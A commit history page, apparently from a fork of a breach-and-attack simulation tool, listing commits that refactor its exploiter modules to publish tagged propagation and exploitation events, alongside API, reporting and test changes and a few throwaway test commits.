Compare commits

..

721 Commits

Author SHA1 Message Date
p34709852 994f7de8e3 Update README.md 2022-10-12 13:27:11 +08:00
wutao dedde27c8c 11222223333 2022-10-11 15:35:25 +08:00
wutao 1d0f3c8e50 测试1111111111 2022-10-11 14:38:05 +08:00
wutao 25054d8479 Merge branch 'develop' of http://111.8.36.180:3000/p15670423/monkey into develop 2022-10-11 14:37:24 +08:00
wutao 5273769ca7 测试 2022-10-11 14:37:03 +08:00
p15670423 c4b2f4d171 Delete 'test_dumps03.py' 2022-10-11 14:01:23 +08:00
p15670423 bfe3e6da58 Delete 'test_dumps01.py' 2022-10-11 14:01:10 +08:00
p15670423 dbab067af5 Delete 'test03.txt' 2022-10-11 14:00:54 +08:00
p15670423 453dd67e03 Delete 'requirements.txt' 2022-10-11 14:00:45 +08:00
p15670423 386bbf84b2 ddfyas
ysdf
Co-authored-by: p15670423 <p15670423@example.org>
Co-committed-by: p15670423 <p15670423@example.org>
2022-10-11 14:00:25 +08:00
p15670423 4cd9fd289e Delete 'test_dumps03.py' 2022-10-11 13:59:36 +08:00
p15670423 ffdf699f32 Delete 'test_dumps01.py' 2022-10-11 13:59:26 +08:00
p15670423 036742925c Delete 'test03.txt' 2022-10-11 13:59:16 +08:00
p15670423 017d109a77 Delete 'requirements.txt' 2022-10-11 13:58:46 +08:00
p15670423 14ea13c6ee ces
ceees
Co-authored-by: p15670423 <p15670423@example.org>
Co-committed-by: p15670423 <p15670423@example.org>
2022-10-11 13:56:30 +08:00
p15670423 00034313b1 Delete 'test03.txt' 2022-10-11 13:55:26 +08:00
p34709852 bef6e2c37f ADD file via upload 2022-10-11 13:50:14 +08:00
p34709852 f10c9f7e29 Delete 'requirements.txt' 2022-10-11 13:48:45 +08:00
p34709852 b0d3201186 Delete 'test_dumps03.py' 2022-10-11 13:47:11 +08:00
p15670423 73cc1994d9 Update test_dumps03.py 2022-10-11 13:42:14 +08:00
p15670423 9208f6691d Update requirements.txt 2022-10-11 13:41:56 +08:00
p15670423 73a326a3e3 no-ff
no-ff方式。。。。。。。。。。。
2022-10-11 13:30:17 +08:00
p15670423 4188bb507c Update test_dumps03.py 2022-10-11 13:30:17 +08:00
p34709852 7985a6b07f Add requirements.txt 2022-10-11 13:30:17 +08:00
p34709852 c8859701c8 ADD file via upload 2022-10-11 13:30:17 +08:00
p34709852 880a2d68e8 Delete 'test_dumps01.py' 2022-10-11 13:28:20 +08:00
p34709852 a47ca4dac8 ADD file via upload 2022-10-11 11:36:11 +08:00
p15670423 f803f88afc 确认合并
测试,,,,,,,,,,,,,,,,,,
2022-10-11 09:55:06 +08:00
p34709852 09b3b42dc5 ADD file via upload 2022-10-10 14:48:05 +08:00
p31829507 de18b55417 Add test_dumps.py 2022-10-10 14:39:32 +08:00
p31829507 9071fc90aa Add test_dumps 2022-10-10 14:38:31 +08:00
wutao 4505399049 测试:重复提交代码 2022-10-10 13:40:54 +08:00
wutao f5bfdc430c 测试:提交代码 2022-10-10 13:36:32 +08:00
wutao 0382831701 测试:提交代码 2022-10-10 13:34:44 +08:00
Mike Salvatore 04fec93c39 Merge branch '2269-publish-events-from-hadoop-exploiter' into develop
PR #2396
2022-10-07 09:37:37 -04:00
Ilija Lazoroski 7a664218bd Agent: Check all potential urls in Hadoop 2022-10-07 15:13:04 +02:00
Mike Salvatore 6d60e33c1e Merge branch '2269-publish-events-for-mssql-exploiter' into develop
PR #2401
2022-10-07 08:46:40 -04:00
Mike Salvatore a558948c5d Agent: Remove unnecessary `pass` from MSSQLExploiter 2022-10-07 08:43:05 -04:00
Mike Salvatore 66f5d7a86a Agent: Remove errant exploitation event from hadoop
If no potential URLs are found, then no exploit is attempted, so there's
no reason to publish an ExploitationEvent.
2022-10-07 08:35:24 -04:00
Shreya Malviya 3b225a9c7d
Merge pull request #2376 from guardicore/dependabot/npm_and_yarn/monkey/monkey_island/cc/ui/d3-color-and-d3-3.1.0
Bump d3-color and d3 in /monkey/monkey_island/cc/ui
2022-10-07 18:01:53 +05:30
Mike Salvatore 79e8ce5f79 Island: Pass tuple, not set to upsert_tcp_connections()
pydantic can probably handle the set -> tuple conversion itself, but
mypy complains.
2022-10-07 07:44:49 -04:00
Mike Salvatore 0965b97d45 Island: Use ScanEvent for typehint in ScanEventHandler
`event` gets passed to `_get_source_machine()`, which expects
`ScanEvent`, not `AbstractAgentEvent`
2022-10-07 07:43:50 -04:00
Mike Salvatore 4c026241ea Island: Change method order in ScanEventHandler 2022-10-07 07:41:50 -04:00
Ilija Lazoroski 25073be9f3 Agent: Remove adding vulnerable urls in Hadoop
Adding vulnerable ulrs causes check to see if the target is exploitable
which calls self.exploit
2022-10-07 11:46:35 +02:00
Ilija Lazoroski c02d43556a Agent: Make Hadoop tags uppercase 2022-10-07 11:46:35 +02:00
Ilija Lazoroski 8bdb30dcfb Agent: Rename stamp to timestamp in Hadoop 2022-10-07 11:46:35 +02:00
Ilija Lazoroski 8f6df12d9c Agent: Modify HadoopExploiter tags to be properties 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 76a3cb0ba0 Agent: Stamp time before exploit executes 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala de5d365bb0 Agent: Publish events sooner 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 3e592cfa69 Agent: Use exploiter tag properties 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 4a0a24dde2 Agent: Update hadoop exploiter tags T1570 -> T1105 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 76ae57281d Agent: Use EXPLOIT_TAGS for exploitation event 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 54b551b728 Agent: Update tags for hadoop events 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala c31aed94ea Agent: Move successful explotiation event publish 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala bee1047024 Agent: Update hadoop failed event publishing 2022-10-07 11:46:34 +02:00
Kekoa Kaaikala 57af640317 Agent: Use correct publish method names 2022-10-07 11:46:34 +02:00
Ilija Lazoroski 9c185a3a78 Agent: Add tags and error messages in Hadoop 2022-10-07 11:46:34 +02:00
Ilija Lazoroski fe864792f3 Agent: Publish Propagation and Exploitation events from Hadoop 2022-10-07 11:46:34 +02:00
VakarisZ 4709ae771b
Merge pull request #2400 from guardicore/2267-add-tcp-connections
2267 add tcp connections
2022-10-07 12:15:39 +03:00
vakarisz be4ecccdcd Island: Refactor get_node_by_id to raise UnknownRecordError 2022-10-07 10:05:06 +03:00
Mike Salvatore 77d37bdb21 Merge branch '2269-publish-events-from-log4shell-exploiter' into develop
PR #2397
2022-10-06 17:26:06 -04:00
Mike Salvatore 9c2cdf15e2 Agent: Add TODO in Log4ShellExploiter 2022-10-06 17:01:06 -04:00
Mike Salvatore ead979c6ca Agent: Add T1110 to Log4Shell exploiter tags 2022-10-06 16:54:02 -04:00
Mike Salvatore 03c6c5ea4b Agent: Remove unnecessary Path -> str in Log4ShellExploiter 2022-10-06 16:51:14 -04:00
Mike Salvatore eac3076828 Agent: Change typehint for build_monkey_commandline's location
The function can handle str, PurePath, or None. This typehint change
reflects that capability
2022-10-06 16:50:41 -04:00
Mike Salvatore 7bc9993c6f Agent: Reduce VICTIM_WAIT_SLEEP_TIME_SEC to 0.050 seconds
1 second is a long time to wait, and we want our event timestamps to be
more accurate. 0.050 is 10 x sys.getswitchinterval(). It's reasonably
accurate but will also share the CPU nicely.
2022-10-06 16:46:41 -04:00
Mike Salvatore 6bd7042444 Agent: Add VICTIM_WAIT_SLEEP_TIME_SEC constant in log4shell exlpoiter 2022-10-06 16:42:33 -04:00
Mike Salvatore d8fca72f28 Agent: Publish all prop/exploit events from _wait_for_victim() 2022-10-06 16:41:20 -04:00
Mike Salvatore b2c5b22128 Merge branch '2269-publish-events-from-powershell-exploiter' into develop
PR #2402
2022-10-06 12:45:13 -04:00
Mike Salvatore 8e3bf96589 Agent: Convert plaintext to str()
get_plaintext() can return bytes. Convert the output to a str in
PowershellClient to avoid potential issues.
2022-10-06 12:40:50 -04:00
Mike Salvatore 65dd386603 Agent: Collect timestamp before powershell connect 2022-10-06 12:39:37 -04:00
Mike Salvatore c4573673ce Agent: Rename timestamp -> execute_agent_timestamp 2022-10-06 12:39:11 -04:00
Ilija Lazoroski ac11d159fe Agent: Revise Powershell publishing of events 2022-10-06 16:03:15 +02:00
Mike Salvatore de9b5601d8
Merge branch 2269-publish-events-from-sshexec-exploiter into develop
PR #2395
2022-10-06 10:00:35 -04:00
Mike Salvatore c980bfd915 Agent: Move timestamp closer to ssh.exec_command() 2022-10-06 09:57:11 -04:00
Mike Salvatore 52380a2513 Agent: Publish exploitation event on unexpected SSH exception 2022-10-06 09:55:53 -04:00
Mike Salvatore 39bada5bb1 Agent: Move assignment outside of try/except 2022-10-06 15:50:46 +02:00
Kekoa Kaaikala 3bca02af59 Agent: Fix powershell tests 2022-10-06 15:50:46 +02:00
Kekoa Kaaikala 7d535c72d9 Agent: Publish powershell exploitation events 2022-10-06 15:50:46 +02:00
Kekoa Kaaikala 3bede2f9d1 Agent: Publish propagation events 2022-10-06 15:50:46 +02:00
Kekoa Kaaikala bb6716df18 Common: Add attack technique T1059 2022-10-06 15:50:46 +02:00
vakarisz 8503e0f499 UT: Remove unused test data structures 2022-10-06 15:02:13 +03:00
Ilija Lazoroski ec617df06a Agent: Fix LocketHTTPServer mypy error in MSSQLExploiter 2022-10-06 13:53:17 +02:00
vakarisz 0d246a0479 Island: Rename add_tcp_connections to upsert_tcp_connections 2022-10-06 14:49:11 +03:00
Ilija Lazoroski 47846628e6 Agent: Modify MSSQL tags to be properties 2022-10-06 13:47:11 +02:00
vakarisz 3bc2e4876f Island: Handle missing node in add_tcp_connections 2022-10-06 14:45:56 +03:00
Kekoa Kaaikala 15974ff21c Agent: Stamp time before running exploit 2022-10-06 13:37:26 +02:00
Kekoa Kaaikala 66f8471f24 Agent: Remove "summary" event 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala e404416363 Agent: Use exploit tag properties 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 5c6b1e3910 Common: Remove unused technique T1071 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 9269c8579c Agent: Remove unneccessary technique 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 8317c03686 Agent: Add tags to MSSQL propagation events 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala aab965bad7 Common: Add attack technique T1071 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala fa8b721abe Common: Add attack technique T1059 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 183bd1145f Agent: Add tags to MSSQL exploitation events 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 33230e85f7 Agent: Use updated publish methods 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 2cd9d0086b Agent: Fix mypy error in http_tools.py 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 8dd196122b Agent: Publish events from MSSQLExploiter 2022-10-06 13:35:18 +02:00
vakarisz b0ec035909 Island: Move tcp_connection addition to node repository 2022-10-06 14:31:12 +03:00
Ilija Lazoroski 0f3f45e92f Agent: Modify Log4Shell tags to be properties 2022-10-06 13:26:48 +02:00
Kekoa Kaaikala 016bf5c795 Agent: Stamp times before the exploit runs 2022-10-06 13:24:03 +02:00
Kekoa Kaaikala 48e6e95271 Agent: Update propagation tags for log4shell 2022-10-06 13:22:38 +02:00
Kekoa Kaaikala ac69064dec Agent: Send failed exploitation event 2022-10-06 13:22:38 +02:00
Kekoa Kaaikala 0c4b90beb5 Agent: Fix typo 2022-10-06 13:22:38 +02:00
Ilija Lazoroski c5d5418af4 Agent: Fix typo in t1203 attack technique in Log4Shell 2022-10-06 13:22:38 +02:00
Ilija Lazoroski ef4a465515 Agent: Add tags to exploitation and propagation events in Log4Shell 2022-10-06 13:22:38 +02:00
Ilija Lazoroski c5506f98e8 Agent: Publish Propagation and Exploitation events from Log4Shell 2022-10-06 13:22:38 +02:00
vakarisz c90044074d Island: Remove storage error when node wasn't modified
Upserting should throw an error when updating or inserting went wrong, not when a node is already up to date.
2022-10-06 14:21:13 +03:00
Ilija Lazoroski 95f1e3cb7b Agent: Modify tags methods to be properties in SSHExploiter 2022-10-06 13:16:49 +02:00
Ilija Lazoroski dcb08b2881 Agent: Convert IPv4Address to str when connecting to socket 2022-10-06 13:15:42 +02:00
Ilija Lazoroski f0112410c9 Agent: Rename stamp to timestamp in SSHExploiter 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala e11bd2c7f2 Agent: Stamp start time prior to running exploit 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala aba886624e Agent: Send propagation events sooner 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala e8f48085a4 Agent: Use the tag properties 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 79f72dda55 Agent: Stop sending PropagationEvent before attempt 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 72378f4e53 Agent: Publish scan event when checking ssh port 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 431d6ae775 Agent: Extract method _get_ssh_port 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 0a1901b9a1 Agent: Use error to propagate failure 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala a2534391a6 Agent: Extract method _propagate 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 1cb88e029a Agent: Extract method _exploit 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala b31eb885f0 Agent: Extract method _get_victim_os 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala dc8a0ac2ad Agent: Extract method _upload_agent_binary 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 9dac64b60e Agent: Update ssh exploiter tags 2022-10-06 13:15:42 +02:00
Ilija Lazoroski 5d9416c385 Agent: Use common.tags to publish events in SSHExploiter 2022-10-06 13:15:42 +02:00
Ilija Lazoroski 5948537d4a Agent: Add tags to SSHExploiter 2022-10-06 13:15:42 +02:00
Ilija Lazoroski ddaada1f09 Agent: Revise event publishing in SSHExploiter 2022-10-06 13:15:42 +02:00
vakarisz 2248bdcd67 Island: Add _get_node_by_id method to mongo_node_repository.py 2022-10-06 14:10:47 +03:00
Shreya Malviya e2453e481c Agent: Rename variables in HostExploiter 2022-10-06 16:38:42 +05:30
Kekoa Kaaikala 254b4e1c6c Agent: Update publish methods to accept timestamp 2022-10-05 19:43:25 +00:00
Kekoa Kaaikala 12e9aaf42e Agent: Add abstract properties for exploiter tags 2022-10-05 17:32:48 +00:00
Kekoa Kaaikala 95b1d9c62d Agent: Remove target from publish methods 2022-10-05 15:57:15 +00:00
vakarisz 249950d602 Island: Improve tcp handler code and coverage 2022-10-05 17:07:19 +03:00
vakarisz 6c913895c5 Island: Add TCP connections to nodes based on TCP scan event 2022-10-05 15:33:16 +03:00
vakarisz bbcdc1bef4 Island: Make upsert_node method public
Updating/inserting the node into the repository is required outside of repository itself.
2022-10-05 15:33:11 +03:00
Mike Salvatore 73a8c14397 Merge branch '2269-add-attack-technique-tags' into develop
PR #2394
2022-10-05 08:25:51 -04:00
Ilija Lazoroski 63f869d296 Project: Add common.tags and HostExploiter publish functions to Vulture 2022-10-05 14:21:23 +02:00
Mike Salvatore 82217b4094
Merge branch 2267-add-network-services into develop
PR #2398
2022-10-05 08:20:13 -04:00
Mike Salvatore 10e3c97489 Island: Use Tuple[SocketAddress] for tcp_connections
There are serialization issues when using FrozenSet because pydantic
converts the SocketAddress to a dict, which is not hashable. There are
probably ways to work around this, but it's not worth the effort at thsi
time. If performance becomes an issue (doubtful) we can revisit using a
frozenset instead.
2022-10-05 14:51:31 +03:00
Mike Salvatore 8799a60f47 Island: Fix serialization/deserialization of Machine.network_services 2022-10-05 14:51:30 +03:00
Mike Salvatore d8cf5d33dd Common: Extract MutableInfectionMonkeyModelConfig 2022-10-05 14:51:30 +03:00
Mike Salvatore eb3daf84f1 Common: Use strings for NetworkService Enum values 2022-10-05 14:51:30 +03:00
Mike Salvatore f6ed8a997c Common: Rename NetworkServiceNameEnum -> NetworkService
"Name" and "Enum" are redundant in this case
2022-10-05 14:51:25 +03:00
vakarisz 8bf1d1f46f Island, Common: Add services to machine.py 2022-10-05 14:51:01 +03:00
vakarisz a390c97b70 Island: Add tcp_connections to node 2022-10-05 14:50:02 +03:00
vakarisz 80a095b657 Agent: Use NetworkPort instead of Port 2022-10-05 14:50:02 +03:00
Ilija Lazoroski 2ece91b9df Agent: Rename event_queue to agent_event_queue in SSHCredentialCollector 2022-10-05 11:37:58 +02:00
Ilija Lazoroski c7e2b91735 Agent: Rename event_queue to agent_event_queue in
MimikatzCredentialCollector
2022-10-05 11:34:50 +02:00
Ilija Lazoroski 19fcf8d053 Agent: Import attack technique tags from common in MimikatzCollector 2022-10-05 11:30:09 +02:00
Ilija Lazoroski c8aee645fa Agent: Import attack technique tags from common in SSHCollector 2022-10-05 11:24:52 +02:00
Ilija Lazoroski 491612f9e8 Common: Add T1005 and T1145 attack technique tags 2022-10-05 11:21:28 +02:00
Ilija Lazoroski 0ed167fb48 Agent: Import attack technique tags from common in Zerologon 2022-10-05 11:13:39 +02:00
Ilija Lazoroski e46bb8964d Common: Add T1003 and T1098 attack technique tags 2022-10-05 11:11:18 +02:00
Mike Salvatore fd8ea53e8b Merge branch '2269-remove-find_monkeys_in_db' into develop
PR #2391
2022-10-04 18:21:00 -04:00
Mike Salvatore bbbb1ac773 Island: Remove disused LogBlackboxEndpoint 2022-10-04 16:30:13 -04:00
Mike Salvatore 6ae7676322 BB: Pass generator instead of list comprehension to all()
This will allow a short-circuit.
2022-10-04 16:30:13 -04:00
Mike Salvatore b713cce893 Island: Remove /api/test/monkey endpoint 2022-10-04 16:30:13 -04:00
Kekoa Kaaikala 2bea619786 BB: Removed unused method and endpoint 2022-10-04 16:30:13 -04:00
Kekoa Kaaikala e0c9717da9 BB: Update test_compabitiblity to use new api 2022-10-04 16:30:13 -04:00
Kekoa Kaaikala 73fbc22e3d BB: Remove find_monkeys_in_db 2022-10-04 16:30:13 -04:00
Mike Salvatore a691a16625
Merge pull request #2393 from guardicore/2269-update-hostexploiter
2269 update hostexploiter
2022-10-04 15:34:08 -04:00
Mike Salvatore 3172433410 Agent: Swap order of _publish_{propagation,exploitation}_event()
Putting _publish_exploitation_event() first puts the methods in both
alphabetical and chronological order.
2022-10-04 15:20:14 -04:00
Mike Salvatore 8e6a098a2e Project: Add HostExploiter methods to vulture_allowlist.py 2022-10-04 15:18:12 -04:00
Kekoa Kaaikala a07eadce60 Common: Add T1570 attack technique 2022-10-04 18:00:41 +00:00
Kekoa Kaaikala d1a8ce2082 Common: Add T1210 tag 2022-10-04 17:58:33 +00:00
Kekoa Kaaikala 6a100105be Common: Order attack tags alphanumerically 2022-10-04 17:58:23 +00:00
Ilija Lazoroski 8b4af5c349 Common: Fix typo in attack tags 2022-10-04 17:57:57 +00:00
Ilija Lazoroski dd35bebb3e Common: Add T1203 attack technique tag 2022-10-04 17:57:16 +00:00
Ilija Lazoroski bb11ea7857 Common: Add attack tags 2022-10-04 17:56:49 +00:00
Kekoa Kaaikala ee77eddaab Agent: Fix tuple type hint 2022-10-04 17:50:39 +00:00
Kekoa Kaaikala 116ae90f3d UT: Remove host exploiter tests 2022-10-04 17:45:30 +00:00
Kekoa Kaaikala b94002a984 Agent: Make publish methods private 2022-10-04 17:44:37 +00:00
Ilija Lazoroski 8e161f0fd9 Agent: Accept tuple as tags to HostExploiter publish events methods 2022-10-04 17:36:27 +00:00
Ilija Lazoroski 95b3556cd0 Agent: Exploiter name when publishing events to be __class__.__name__ 2022-10-04 17:36:05 +00:00
Kekoa Kaaikala a79d40b42e UT: Fix powershell tests 2022-10-04 17:35:33 +00:00
Kekoa Kaaikala 3e86766aaf Agent: Use default value for exploiter name 2022-10-04 17:35:05 +00:00
Ilija Lazoroski 0b72e4ef9a Agent: Add publish methods to HostExploiter 2022-10-04 17:34:41 +00:00
Ilija Lazoroski bf4fecf464 Agent: Rename event_queue to agent_event_queue in HostExploiter 2022-10-04 17:34:31 +00:00
Mike Salvatore 4ace93e417 Merge branch 'consolidate-agent-event-handlers' into develop
PR #2390
2022-10-03 15:19:16 -04:00
Mike Salvatore adee0b4063 Agent: Move add_credentials_from_event to agent_event_handlers package 2022-10-03 14:47:03 -04:00
Mike Salvatore 37b884a5b8 Agent: Move agent_event_forwarder.py to agent_event_handlers package 2022-10-03 14:47:03 -04:00
Mike Salvatore a3ce870b64
Merge pull request #2389 from guardicore/2269-notify-relay-on-propagation
2269 notify relay on propagation
2022-10-03 14:46:14 -04:00
Mike Salvatore 399fedfba5 UT: Rename test_relay_not_notified_if_none 2022-10-03 14:45:44 -04:00
Kekoa Kaaikala 57b4ec4117 BB: Refactor agent communication check
Updated CommunicationAnalyzer to use the /api/agents and /api/machines
endpoints to determine whether or not an agent communicated back to the
island.

Resolves PR #2388
2022-10-03 14:28:22 -04:00
Mike Salvatore a8383f4a79 Agent: Add docstrings to notify_relay_on_propagation 2022-10-03 13:25:30 -04:00
Mike Salvatore d3ff56138f Agent: Remove disused ExploitInterceptingTelemetryMessenger 2022-10-03 13:15:55 -04:00
Mike Salvatore 2ad972548b Agent: Remove ExploitInterceptingTelemetryMessenger decoration 2022-10-03 13:15:55 -04:00
Mike Salvatore fb7d62e318 Agent: Subscribe notify_relay_on_propagation to PropagationEvent events 2022-10-03 13:15:55 -04:00
Mike Salvatore 0466eb7239 Agent: Add notify_relay_on_propagation agent event handler 2022-10-03 13:15:55 -04:00
Mike Salvatore 368ddde20f Common: Register serializers for {Exploitation,Propagation}Event 2022-10-03 13:15:12 -04:00
Mike Salvatore eb16969a56 Merge branch '2362-bb-get-agent-logs' into develop
PR #2384
2022-10-03 10:41:30 -04:00
Mike Salvatore a8627aed48 Merge branch '2269-exploitation-event' into develop
PR #2387
2022-10-03 10:36:25 -04:00
Mike Salvatore 07839a46ae
Merge pull request #2385 from guardicore/2269-propagation-event
Define Propagation Event
2022-10-03 10:34:33 -04:00
Ilija Lazoroski 779fc63edc Common: Add param docstring in TCPScanEvent 2022-10-03 16:26:55 +02:00
Ilija Lazoroski d1af356e19 UT: Add tests for PropagationEvent 2022-10-03 16:25:47 +02:00
Ilija Lazoroski 3389915399 Common: Add PropagationEvent to agent_events 2022-10-03 16:25:45 +02:00
Ilija Lazoroski fa2ac64b16 UT: Add ExploitationEvent tests 2022-10-03 16:24:09 +02:00
Ilija Lazoroski a7872d69cf Common: Add ExploitationEvent to agent_events 2022-10-03 16:24:07 +02:00
Mike Salvatore 82c81c2a4b Common: Move JSONSerializable to common.types 2022-10-03 10:19:16 -04:00
Mike Salvatore cfd49db8d2 Island: Use logger.exception() 2022-10-03 10:16:40 -04:00
Mike Salvatore d922d71081 BB: Add error message when machine is missing interfaces 2022-10-03 10:14:48 -04:00
Ilija Lazoroski 5b9811f089 UT: Add tests for PropagationEvent 2022-10-03 15:00:27 +02:00
Ilija Lazoroski 3d22e49ccc Common: Add PropagationEvent to agent_events 2022-10-03 15:00:25 +02:00
Mike Salvatore 378e8d55ff BB: Add type hints to MonkeyLogsDownloader.__init__() 2022-10-03 07:54:36 -04:00
Mike Salvatore 477e80bfba BB: Remove disused MonkeyIslandClient.find_log_in_db() 2022-10-03 07:52:40 -04:00
Mike Salvatore fc24d80410 BB: Change agent log file name
Use underscores to improve readability
2022-10-03 07:51:40 -04:00
Mike Salvatore e369ef2933 BB: Remove disused MonkeyLog 2022-10-02 16:57:58 -04:00
Mike Salvatore 6a783d9c3e BB: Use threading to download logs
Reduces time to download logs by approx. 40%, but may be unnecessary
after resolving https://github.com/guardicore/monkey/issues/2383
2022-10-02 16:57:56 -04:00
Mike Salvatore e4155648c1 BB: Download agent logs from new endpoints 2022-10-02 14:23:01 -04:00
Mike Salvatore 07a6f49e8b Island: Return empty str, not dict on 404 in AgentLogs.get() 2022-10-02 14:23:00 -04:00
Mike Salvatore c706466cdd BB: Add MonkeyIslandClient.get_agent_log() 2022-10-02 14:21:05 -04:00
Mike Salvatore 99c2c5c6ef BB: Add MonkeyIslandClient.get_machines() 2022-10-02 14:20:49 -04:00
Mike Salvatore b335601a05 BB: Add MonkeyIslandClient.get_agents() 2022-10-02 14:20:30 -04:00
Mike Salvatore 3db3df8bae BB: Add a TODO about parse_log() 2022-10-01 19:21:54 -04:00
Mike Salvatore 25f12305f5
Merge pull request #2379 from guardicore/2267-update-nodes-with-tcp-scan-events
2267 update nodes with tcp scan events
2022-10-01 19:16:54 -04:00
Kekoa Kaaikala 3b6a0cd6af UT: Split test_target_machine_not_exists 2022-09-30 19:54:52 +00:00
Kekoa Kaaikala 28560bd65d UT: Remove more unused `request` parameters 2022-09-30 19:49:16 +00:00
Kekoa Kaaikala 24684bf904 UT: Split scan event StorageError test 2022-09-30 19:46:36 +00:00
Kekoa Kaaikala 978a2a57a9 UT: Add default mocks for fixture methods
Update machine_repository fixture to use:
  - machine_from_id for get_machine_by_id()
  - machines_from_ip for get_machines_by_ip()
2022-09-30 19:36:19 +00:00
Kekoa Kaaikala da5d7b7357 UT: Removed unsed 'request' parameter 2022-09-30 19:32:08 +00:00
Kekoa Kaaikala cf13481865 UT: Remove unused constant 2022-09-30 19:29:27 +00:00
Kekoa Kaaikala 1dbfca567a UT: Give constants uppercase names 2022-09-30 19:28:26 +00:00
Mike Salvatore de435e27ad Merge branch '2268-update-reporting' into develop
PR #2367
2022-09-30 14:50:54 -04:00
Mike Salvatore cefc90034f UT: Add missing __init__.py files 2022-09-30 14:47:58 -04:00
Mike Salvatore 3cde0919e7 Common: Ignore valid-type on con{int,float}
mypy can't handle pydantic's conint and confloat. See
https://github.com/pydantic/pydantic/issues/239 and
https://github.com/pydantic/pydantic/issues/156 for more details.
2022-09-30 14:39:35 -04:00
Mike Salvatore c29d90aa5f Island: Use list comprehension instead of list(map()) 2022-09-30 14:35:30 -04:00
Mike Salvatore 807193ece5 Island: Use list comprehension instead of map() 2022-09-30 14:29:31 -04:00
Kekoa Kaaikala 519f48b6d8 Island: Use ip address in scan report 2022-09-30 18:26:11 +00:00
Mike Salvatore f9e74d4f03
Merge pull request #2381 from guardicore/2362-add-machines-endpoint
2362 add machines endpoint
2022-09-30 14:24:44 -04:00
Mike Salvatore df1baeebe0 Island: Use list comprehension instead of map() 2022-09-30 14:22:54 -04:00
Mike Salvatore b7566a805b Island: Use list comprehension instead of map() 2022-09-30 14:22:32 -04:00
Kekoa Kaaikala a2a6934a49 Changelog: Add entry for /api/machines 2022-09-30 18:11:21 +00:00
Kekoa Kaaikala 3409234a4d UT: Address mypy errors due to get_url_for_resource 2022-09-30 18:11:21 +00:00
Kekoa Kaaikala a3d2d7f6a1 UT: Add tests for Machines resource 2022-09-30 18:11:21 +00:00
Kekoa Kaaikala f05f247417 Island: Hook up the /api/machines endpoint 2022-09-30 18:11:21 +00:00
Kekoa Kaaikala eeca5fbea2 Island: Add resource for /api/machines endpoint 2022-09-30 18:11:21 +00:00
Kekoa Kaaikala 0516e1e015 Island: Add get_machines to IMachineRepository 2022-09-30 18:11:21 +00:00
vakarisz 1bf4407b20 UI: Remove temporarily unused import in SecurityReport.js 2022-09-30 18:08:23 +00:00
vakarisz e8ed30660e UT: Fix report test 2022-09-30 18:08:23 +00:00
vakaris_zilius d0d08f7649 UI: Fix the rendering of scanned machines in UI 2022-09-30 18:08:23 +00:00
vakaris_zilius 9048f72030 Island: Convert scanned machines to json serializable data 2022-09-30 18:08:23 +00:00
vakaris_zilius d974b03ab0 Common: Register PingScanEvent to event serializer 2022-09-30 18:08:23 +00:00
vakaris_zilius 550c375abc Agent: Fix exception handling for failed delivery of agent events
If there's an exception while sending the event to the island it should be logged as exception, not warning (events are not being stored, that's a big no-no). Also, the log should contain proper information of stack trace, not event type
2022-09-30 18:08:23 +00:00
vakarisz 3d27e42ff3 Island: Simplify the report of scanned machines 2022-09-30 18:08:23 +00:00
vakarisz 9a82e46799 Island: Make machine model hashable
Machines can be hashed based on their ID. This allows us to add them to set for example and make sure no duplicate entries are there
2022-09-30 18:08:23 +00:00
Kekoa Kaaikala f0f858eba5 UT: Fix bad values in test_report 2022-09-30 18:08:23 +00:00
Kekoa Kaaikala f7a30e4608 Island: Raise errors if repositories do not exist 2022-09-30 18:08:23 +00:00
vakarisz dd0c504743 UT: Add machines and node to report tests 2022-09-30 18:08:23 +00:00
Kekoa Kaaikala bbd606501e Island: Fix bug in reporting 2022-09-30 18:08:23 +00:00
Kekoa Kaaikala 2740100621 Island: Connect new ReportService dependencies 2022-09-30 18:08:23 +00:00
Kekoa Kaaikala 520b212c69 Island: Remove ReportService.get_all_displayed_nodes 2022-09-30 18:08:22 +00:00
Kekoa Kaaikala 8acf2d9e91 Island: Refactor ReportService.get_scanned
Update ReportService.get_scanned to use repositories instead of services
2022-09-30 18:08:22 +00:00
Kekoa Kaaikala 49c6839c10 Island: Add ReportService.get_accessible_machines 2022-09-30 18:08:22 +00:00
Kekoa Kaaikala 85a5cb3209 Island: Add ReportService.get_all_machines 2022-09-30 18:08:22 +00:00
Kekoa Kaaikala 8537f1fcb7 Island: Add get_machines to IMachineRepository 2022-09-30 18:08:13 +00:00
Mike Salvatore 63447b759a Island: Add missing @jwt_required to `GET /api/agents` 2022-09-30 13:19:41 -04:00
Mike Salvatore 067a143f2c UT: Fix bug in test mock 2022-09-30 13:16:04 -04:00
Mike Salvatore 2811009019 UT: Deparametrize a test
TCP scan events do not contain OS information.
2022-09-30 13:10:57 -04:00
Mike Salvatore 97061ea61c UT: Remove redundant "test_scan_event_handler" from test names 2022-09-30 13:04:57 -04:00
Mike Salvatore 029c101643 UT: Remove disused scan event fixtures 2022-09-30 12:54:27 -04:00
